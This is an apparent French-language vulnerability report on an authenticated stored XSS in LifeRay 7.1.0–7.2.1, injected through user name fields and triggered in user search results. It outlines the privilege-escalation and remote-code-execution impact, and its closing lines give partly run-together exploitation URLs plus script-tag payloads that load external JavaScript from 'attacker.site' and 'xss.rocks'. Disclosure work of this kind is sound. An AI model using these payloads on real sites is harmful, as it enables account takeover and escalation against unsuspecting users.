
XSS stocké authentifié dans LifeRay 7.2.0 GA1 via MyAccountPortlet exécuté par les résultats de recherche
Dans LifeRay versions 7.1.0 à 7.2.1 GA2, les champs Prénom, Deuxième prénom et Nom des comptes utilisateur sont tous vulnérables à un problème de XSS stocké. Tout utilisateur peut modifier ces champs avec une charge utile XSS particulière et celle-ci sera stockée dans la base de données, « infectant » l'utilisateur. La charge utile sera ensuite rendue lorsqu'un utilisateur utilise la fonction de recherche pour rechercher d'autres utilisateurs. Si l'utilisateur infecté apparaît dans les résultats de recherche, la charge utile XSS s'exécutera.
Cette vulnérabilité permet à un attaquant d'exécuter du code arbitraire dans le contexte de tout utilisateur qui déclenche la charge utile XSS via la recherche. Dans un sens pratique, cela peut conduire à une élévation de privilèges d'un utilisateur non privilégié à un utilisateur administratif, ainsi qu'à un mouvement latéral pour prendre le contrôle d'autres comptes. De plus, tout ce qui peut être exécuté via JavaScript peut être exploité dans le contexte d'un autre utilisateur.
Comme vous le verrez dans la preuve de concept (PoC), cela est grand ouvert car l'attaquant a la capacité de charger facilement des scripts externes dans un contexte par défaut.
La plupart des cookies de session importants sont marqués comme HTTPOnly, ce qui empêche surtout les techniques simples de détournement de session. Cela dit, il convient de noter que les utilisateurs consultant la page avec des navigateurs plus anciens sont encore plus impactés par cela en raison des attaques XST.
Étant donné que les utilisateurs administrateurs peuvent exécuter des commandes Gogo Shell et Groovy Script, il peut également être possible de chaîner cette exploitation avec ces fonctionnalités normalement prévues pour obtenir une RCE non intentionnelle sur le système hôte en partant d'un utilisateur non privilégié.
Pour que cette vulnérabilité soit déclenchée, deux conditions doivent être remplies :
Une fois ces conditions remplies, les étapes suivantes peuvent être suivies pour exploiter la vulnérabilité :
Account Settings
Account Settingshttp://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????Savehttp://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive et cliquez sur l'icône « trois points » sur le côté droit et sélectionnez join.http://mysite.com/web/guest/search?q=<my user>
<<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC="//attacker.site/payload.js"><SCRIPT SRC="//xss.rocks/xss.js"/>Rapport version 4.0